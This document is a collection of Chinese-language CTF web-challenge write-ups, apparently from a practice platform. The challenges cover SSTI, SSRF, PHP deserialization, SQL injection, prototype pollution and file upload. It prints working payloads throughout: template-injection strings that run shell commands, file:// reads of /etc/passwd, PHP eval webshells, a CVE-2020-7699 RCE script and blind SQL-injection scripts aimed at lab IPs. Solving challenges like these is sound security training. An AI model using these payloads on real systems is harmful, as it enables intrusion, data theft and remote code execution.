easy_web
打开页面就是一个简单的字符规范器
用扫描也没扫描到什么有用的东西 查看源码也没发现什么 那我们只能抓包看看
python的后端,就想到了SSTI模板注入
我们试试输入{{1}}(基于jinja2)
大概意思就是您的内容包含限制字符 说明可能过滤了{}这样的字符
对输入框进行模糊测试
ascii中 33-127的所有字符(特殊符号,字母大小写,数字)基本都被过滤了
那我们就尝试使用没有过滤的字符
符号大全网址:符号大全-特殊符号-特殊符号大全
直接输入 { 会被过滤掉,因此我们可以输入 ︷
非常好用的ssti模板注入payload
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
那我们给个大佬的python脚本
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
"""
str='{{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
print(str)
新payload:︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸
查找flag
paylaod
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸
在根目录下发现flag
paylaod替换后为
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸
总结:
SSTI模板注入
安全研究员给出的几个常见Payload
1、python2
文件读取和写入
#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意执行
每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
1
2
2、python3
因为python3没有file了,所以用的是open
#文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
题目名称-SSRF Me
打开页面得到的是一个输入页面 包含输入的url和验证码
这里的关键就是解密这个验证码 那我们先理解一下这个substr()函数
2.substr
PHP中的substr函数是用于获取字符串子串的函数,其语法如下:
substr(string $string, int $start, int|null $length = null): string|false
其中,参数解释如下:
$string:必选参数,表示要截取的原始字符串,可以是任意类型的字符串;
$start:必选参数,表示截取的起始位置,可以是正数、负数,也可以是0;
$length:可选参数,表示截取的长度,可以是正整数或者null。如果不指定,则截取到字符串末尾,如果为负数,则表示从字符串末尾倒数的长度。
该函数的返回值为截取的子串,如果发生错误则返回false。
示例:
$str = "Hello world";
echo substr($str, 0, 5); // 输出Hello
echo substr($str, 6); // 输出world
echo substr($str, -5); // 输出world
echo substr($str, 0, -6); // 输出Hello
需要注意的是,当s t a r t 参数为负数时,它表示从字符串末尾倒数的位置,例如,当 start参数为负数时,它表示从字符串末尾倒数的位置,例如,当start参数为负数时,它表示从字符串末尾倒数的位置,例如,当start为-5时,表示从字符串末尾第5个位置开始截取,长度为l e n g t h 。而当 length。而当length。而当length参数为负数时,将导致函数返回false。同时,如果$length参数指定的截取长度大于原字符串长度,那么函数会截取整个字符串。
然后我们就可以用py脚本进行解密
//substr(md5(captcha), -6, 6) == "13e7ef"
<?php
$captcha=0;
while(true)
{
if(substr(md5($captcha), -6, 6) == "bbaddc") //bbaddc会变
{
echo $captcha;
break;
}
$captcha++;
}
?>
得到验证码为71364
然后题目提示为ssrf漏洞 那我们就采用file://协议进行文件读取
Payload:file:///etc/passwd
发现可以成功 那我们就直接读取flag
发现flag被过滤了,把flag进行URL编码,在进行测试
Payload:file:///%66%6c%61%67
得到flag
注意:用bp做的话要双重url编码
题目名称-warmup
打开页面是个登入页面 试了试弱口令没啥用 我们下载他的附件查看源代码
我们发现了两个主要的东西
- 防止万能密钥登入
- 发现了cookie这个重要的东西
我们使用bp抓包然后发现了一串base64字符串
然后我们解密得到一串序列化的字符串
我们查看下下一个conn.php
最关键点在这个waf上
可以看到用户名密码进行了转义过滤
审计代码得
1.在Cookie中存在序列化字符串,用来记录访问者IP
2.前端传入username,password时,首先会被转义再进行过滤,只能使用 ’ 符号
3.在conn.php文件中存在一个SQL方法,其中waf过滤函数将table,username,password参数都进行了过滤,但是table参数没有进行addslashes()函数转义处理
过滤比较严格,但是我们可以在table处使用子查询,绕过过滤。
从 index.php 中可以看出正常传参是会被 addslashes 函数转义的。
那么我们可以 利用 cookie 反序列化直接调用 SQL 类,waf 里面并没有过滤单引号,可以直接用万能密码完成注入。
后面还会判断 ip 值,反序列化后是否为数组,我们可以利用 GC 回收机制,在 if 判断前就完成 __wakeup 的调用。
php脚本
<?php
class SQL {
}
$sql = new SQL();
$sql->table = 'users';
$sql->username = '';
$sql->password = "' or '1'='1";
$poc = array($sql,1);
echo base64_encode(str_replace('i:1','i:0',serialize($poc)));
进行payload
O:3:"SQL":4:{s:5:"table";s:41:"(select 'admin' username,'123' password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}
然后对它进行base64编码为
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO319
将其写入last_login_info 得到flag
adProgrammer
打开页面
没啥发现 扫描一下
发现路径/static..路径 这很有可能是Nginx错误配置导致的文件读取漏洞
我们打开路径
果然发现了源码app.js 我们打开看看‘
出现expres-fileupload和flag.ejs 我们先找找flag.ejs
发现flag是存在于flag.txt里面而不是flag.ejs
我们抓包也发现了这个express
查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。
具体链接;CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户
配合ejs模板引擎进行RCE
通过污染ejs中outputFunctionName变量,实现RCE:
import requests
resp1 = requests.post("http://{}:{}/{}".format('61.147.171.105', '56381', '4_pATh_y0u_CaNN07_Gu3ss'),
files={'__proto__.outputFunctionName':
(
None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/js/flag.txt')
)})
print(resp1)
flag在/flag.txt,需要通过命令执行将其拷贝到可访问到的位置。
观察package.json中,可知服务路径为/app
所以我们只需通过RCE执行
cp /flag.txt /app/static/js/flag.txt
再访问http://IP:PORT/static/js/flag.txt即可得到flag。
babyweb
打开页面 扫描无果
题目提示内网访问 那我们就输入ssrf.php试试
然后我们利用file://伪协议读取就行
Payload:file:///etc/passwd
竟然可以 那么直接读取flag
Paylaod: file:///flag
bug
打开页面就是一个登入页面 有注册和修改密码 这应该就是越权
越权渗透是指黑客利用系统漏洞或者密码破解等手段,未经授权地进入目标系统获得权限。具体而言,越权渗透可以包括以下几种形式:
弱口令攻击:黑客通过暴力破解或者社工攻击等手段获取系统账号和密码,从而进入目标系统。
缓冲区溢出攻击:黑客利用系统中存在的缓冲区溢出漏洞,向目标系统注入恶意代码,从而获得系统权限。
SQL注入攻击:黑客利用目标系统中存在的SQL注入漏洞,通过注入恶意SQL语句获取系统权限。
我们随便注册一个账号 然后登入进去
点击管理(manage)没权限
想到开始页面也有一个修改密码,这里有一个username,改为admin
进行admin登录
继续尝试访问manage页面,但提示ip不允许
尝试通过X-Forwarded-For:127.0.0.1来伪造ip
发包得到
在repeter里面发现主要信息
ctf总共就几个知识点,猜测xss,sql,ssrf,upload 盲猜是uplaod
Payload:index.php?module=filemanage&do=upload
得到文件上传界面 说明我们的思路是正确的
我们尝试上传一个php文件
它显示是一个php文件 那就说明思路没问题 很有可能就是上传的一句话木马有问题 我们尝试采用php拓展名 php5进行绕过
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
它提示是个image的type 我们进行mime检测绕过 修改类型就可以
又是提示是个php文件 那就可以说明写入的一句话木马有问题 我们尝试写入js一句话代替(利用JavaScript执行php代码(正常的php代码会被检测到,所以就考虑用JavaScript来执行)
一句哈木马内容:
<script language="php"> @eval$_POST['cmd']); </script>
得到flag
总结:
- 越权渗透
- IP绕过
- 文件上传漏洞(mime检测,拓展名绕过 js执行php代码)
unfinish
打开页面是个登入页面 根据题目提示sql注入 我们对邮箱和密码都分别进行注入无果 然后采用dirsearch扫描一下发现有个register.php文件路径
我们登入试试
我们发现在username这里发现可以注入(回显的页面跟email注入和passwd注入不同)
找到了测试点 那我们进行注入 发现很多都被过滤了 那我们进行fuzz测试一下
果然大多数注入的字符都被过滤 那使用sqlmap估计是i行不通的 这时候参考大佬的wp发现使用0’+1+'0作为用户名,在注册的时候,猜想使用sql语句插入到表中
insert into tables values('$email','$username','$password')
在插入中将0’+1+‘0插入,取的时候,MySQL语言的一种特性,就是+在MySQL中是作为运算符的,
利用这个特性,我们可以构造payload:0’+ascii(substr((select * from flag),1,1))+‘0这样我们就可以得到flag表(这个表名是猜的,一般CTF的注入题,如果不特别提示表名的话,表名都是flag)查询结果的第一个字符的ascii码,但是之前FUZZ时已经发现,被过滤,查询资料后发现可以用from * for *代替,所以我们的最终payload为
0’+ascii(substr((select * from flag) from 1 for 1))+'0。
这样的话 我们就可以采用二次注入脚本解题
import requests, re
# 拿到登录页面的url和注册页面的url
login_url = 'http://61.147.171.105:61507/login.php'
register_url = 'http://61.147.171.105:61507/register.php'
flag = ''
# 每次注册一个账户,拿到数据库中的一个字符
for i in range(1, 100):
# 注册时候的payload数据
register_data = {
'email': 'test%d123.com' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': '123'
}
# post提交注册payload
res = requests.post(url=register_url, data=register_data)
# 登录时候的payload数据
login_data = {
'email': 'test%d123.com' % i,
'password': '123'
}
# post提交登录payload
res = requests.post(url=login_url, data=login_data)
# 使用正则匹配,找到前端的回显数据
num = re.search('<span class="user-name">\n(.*?)</span>', res.text)
# 将拿到的ascii转码,还原成存储的数据
flag += chr(int(num.group(1).strip()))
print(flag)
这一关还可以使用时间盲注 下面是脚本
import requests
import sys
url='http://61.147.171.105:61507/register.php'
flag=''
#爆数据库sql="1' and (select case when ascii(substr(database() from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
sql="1' and (select case when ascii(substr((select * from flag) from {0} for 1))={1} then sleep(5) else 1 end) or ''='"
for i in range(1,50):
print('guess:',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,ch)
data={
"email":"1971535058@qq.com",
"username":sqli,
"password":"admin"
}
try:
html=requests.post(url,data=data,timeout=3)
except:
flag+=chr(ch)
print(flag)
break
最终也可爆出flag
ics-07
打开页面只有管理中心打的开
这里我得到两个重要信息
(1)又可能是文件读取漏洞
- 看源码
点击进入是一段代码
我们进行代码审计
- 如果传入的参数page的值不是index.php,则包含flag.php,否则重定向到?page=flag.php。
- 判断session是不是admin,然后获取到一些值(应该就是我们post传上去的),如果匹配到php3457,pht,phtml这种特殊的后缀名,那么就结束。如果没有匹配到,那么就写入文件uploaded/backup正则的话是判断.之后的字符,因此我们可以利用‘/.’的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的。
3.这一段可以使$_SESSION[\'admin\'] = True;我们来看一下怎么构造。他需要获取一个id参数, 并且id不为1,且最后一位等于9。
这里用到了floatval这个函数,floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1xx9来满足第一个if条件,if条件满足可以使得$result变量为TRUE。成功使$_SESSION[\'admin\'] = True;
分析:
综合上面三段代码进行分析
第一段是个简单的重定向,get参数page不为index.php即可
第二段 需要得到一个admin的session,之后可以post传入con与file两个参数
File参数是自定义的文件名字,之后会处理为backup/文件名
这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。
上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,
那么实际文件的路径就是:uploaded/backup/xxx.xxx
第三段代码是对get参数id进行校验,如果id的浮点数不是1,且最后一位是9那么实行查询语句,如果查询正确,会得到一个admin的session
因此我们这里就需要满足所有需求
写一个payload获取 :
?page=flag.php&id=1xx9
构造 payload:上传木马
下面考虑如何上传木马文件。这里利用Linux的一个目录结构特性。我们递归的在1.php文件夹中再创建2.php,访问1.php/2.php/…进入的是1.php文件夹
payloa如下
con=<?php @eval($_POST[cmd]);?>&file=test.php/1.php/..
注意这里page参数的值不能为flag.php,否则是上传不成功的。
访问/uploaded/backup/目录,发现上传成功。
然后用蚁剑链接找到flag
checkInGame
burpsuite抓包,burpsuite不对包进行处理。然后在浏览器中做游戏,等到40秒过完时,点击确定,页面不会刷新,可以继续做,直到解出flag。
wzsc_文件上传
竞争上传 看愚公文章就饿可以了
【愚公系列】2023年06月 攻防世界-Web(wzsc_文件上传)_攻防世界 文件上传_愚公搬代码的博客-CSDN博客